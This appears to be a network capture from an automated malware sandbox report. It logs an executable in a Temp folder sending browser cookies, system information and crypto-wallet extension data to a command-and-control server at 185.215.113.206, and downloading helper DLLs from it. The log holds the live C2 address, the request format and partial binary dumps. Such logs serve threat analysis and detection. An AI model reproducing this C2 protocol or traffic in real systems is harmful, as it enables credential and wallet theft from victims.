Dec 23, 2024 06:53:52.338819027 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Dec 23, 2024 06:53:52.340245962 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDAEHCFHJJJJECAAFBKJ Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 66 39 36 65 66 33 34 39 39 34 32 35 39 65 39 65 37 62 36 37 37 62 37 32 33 36 64 33 61 33 39 64 63 37 34 62 38 30 36 62 30 37 31 38 35 30 61 39 31 65 39 33 39 35 61 62 36 66 38 30 61 33 62 65 63 33 65 30 38 32 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 2d 2d 0d 0a Data Ascii: ------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="token"c9f96ef34994259e9e7b677b7236d3a39dc74b806b071850a91e9395ab6f80a3bec3e082------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="message"fplugins------IDAEHCFHJJJJECAAFBKJ--
Dec 23, 2024 06:53:52.783586979 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:53:52 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 23, 2024 06:53:52.839876890 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFCFBFBFBKFIDHJKFCA Host: 185.215.113.206 Content-Length: 5315 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 06:53:52.839929104 CET	5315	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 66 39 36 65 Data Ascii: ------CBFCFBFBFBKFIDHJKFCAContent-Disposition: form-data; name="token"c9f96ef34994259e9e7b677b7236d3a39dc74b806b071850a91e9395ab6f80a3bec3e082------CBFCFBFBFBKFIDHJKFCAContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 23, 2024 06:53:53.917233944 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:53:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 23, 2024 06:53:54.191268921 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 23, 2024 06:53:54.632785082 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:53:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 23, 2024 06:53:54.632853031 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Dec 23, 2024 06:53:54.636936903 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Dec 23, 2024 06:53:54.637068033 CET	1236	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49847	185.215.113.206	80	2224	C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 06:54:03.868082047 CET	621	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHCGHJDBFIIDGDHIJDBG Host: 185.215.113.206 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 66 39 36 65 66 33 34 39 39 34 32 35 39 65 39 65 37 62 36 37 37 62 37 32 33 36 64 33 61 33 39 64 63 37 34 62 38 30 36 62 30 37 31 38 35 30 61 39 31 65 39 33 39 35 61 62 36 66 38 30 61 33 62 65 63 33 65 30 38 32 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------FHCGHJDBFIIDGDHIJDBGContent-Disposition: form-data; name="token"c9f96ef34994259e9e7b677b7236d3a39dc74b806b071850a91e9395ab6f80a3bec3e082------FHCGHJDBFIIDGDHIJDBGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------FHCGHJDBFIIDGDHIJDBGContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FHCGHJDBFIIDGDHIJDBG--
Dec 23, 2024 06:54:05.705956936 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:54:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 23, 2024 06:54:05.892188072 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGIEBGHDAEBGDGCFIID Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 49 45 42 47 48 44 41 45 42 47 44 47 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 66 39 36 65 66 33 34 39 39 34 32 35 39 65 39 65 37 62 36 37 37 62 37 32 33 36 64 33 61 33 39 64 63 37 34 62 38 30 36 62 30 37 31 38 35 30 61 39 31 65 39 33 39 35 61 62 36 66 38 30 61 33 62 65 63 33 65 30 38 32 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 45 42 47 48 44 41 45 42 47 44 47 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 45 42 47 48 44 41 45 42 47 44 47 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HDGIEBGHDAEBGDGCFIIDContent-Disposition: form-data; name="token"c9f96ef34994259e9e7b677b7236d3a39dc74b806b071850a91e9395ab6f80a3bec3e082------HDGIEBGHDAEBGDGCFIIDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDGIEBGHDAEBGDGCFIIDContent-Disposition: form-data; name="file"------HDGIEBGHDAEBGDGCFIID--
Dec 23, 2024 06:54:06.821230888 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:54:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49889	185.215.113.206	80	2224	C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 06:54:18.756616116 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KECGDBFCBKFIDHIDHDHI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 66 39 36 65 66 33 34 39 39 34 32 35 39 65 39 65 37 62 36 37 37 62 37 32 33 36 64 33 61 33 39 64 63 37 34 62 38 30 36 62 30 37 31 38 35 30 61 39 31 65 39 33 39 35 61 62 36 66 38 30 61 33 62 65 63 33 65 30 38 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KECGDBFCBKFIDHIDHDHIContent-Disposition: form-data; name="token"c9f96ef34994259e9e7b677b7236d3a39dc74b806b071850a91e9395ab6f80a3bec3e082------KECGDBFCBKFIDHIDHDHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KECGDBFCBKFIDHIDHDHIContent-Disposition: form-data; name="file"------KECGDBFCBKFIDHIDHDHI--
Dec 23, 2024 06:54:20.594247103 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:54:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 23, 2024 06:54:21.050746918 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 23, 2024 06:54:21.492539883 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:54:21 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 23, 2024 06:54:21.492600918 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Dec 23, 2024 06:54:21.492614985 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Dec 23, 2024 06:54:21.492867947 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Dec 23, 2024 06:54:21.492888927 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Dec 23, 2024 06:54:21.493134975 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Dec 23, 2024 06:54:21.493148088 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Dec 23, 2024 06:54:21.493171930 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Dec 23, 2024 06:54:21.493511915 CET	1236	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Dec 23, 2024 06:54:21.493531942 CET	1236	IN	Data Raw: 5d 80 11 d9 89 4d f0 8b 75 a4 31 ce 89 75 a4 8b 8d 54 ff ff ff 31 c1 89 8d 54 ff ff ff 8b 45 e8 01 f0 89 45 e8 8b 7d c0 11 cf 31 c2 31 fb 89 d0 0f a4 d8 08 0f a4 d3 08 8b 8d 74 ff ff ff 8b 71 68 89 b5 24 ff ff ff 8b 55 b8 01 f2 8b 71 6c 89 b5 5c Data Ascii: ]Mu1uT1TEE}11tqh$Uql\MUMT1M1UMuuM11UMtBpTMRtdEpMxEU1U}1}E
Dec 23, 2024 06:54:21.500924110 CET	1236	IN	Data Raw: ff ff 89 7d d4 8b 95 e0 fe ff ff 11 d0 89 45 cc 8b 4d a0 31 c1 8b 75 9c 31 fe 8b 5d c4 01 cb 89 5d c4 8b 7d bc 11 f7 89 7d bc 8b 85 7c ff ff ff 31 d8 89 c3 31 fa 0f a4 d0 08 0f a4 da 08 89 d7 8b 55 d4 03 95 40 ff ff ff 8b 5d cc 13 9d 3c ff ff ff Data Ascii: }EM1u1]]}}\|11U@]<U]11lMuuMM11UM EHMM(Eh1]1EEuu]11]
Dec 23, 2024 06:54:22.940536022 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 23, 2024 06:54:23.382702112 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:54:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 23, 2024 06:54:24.294375896 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 23, 2024 06:54:24.735632896 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:54:24 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
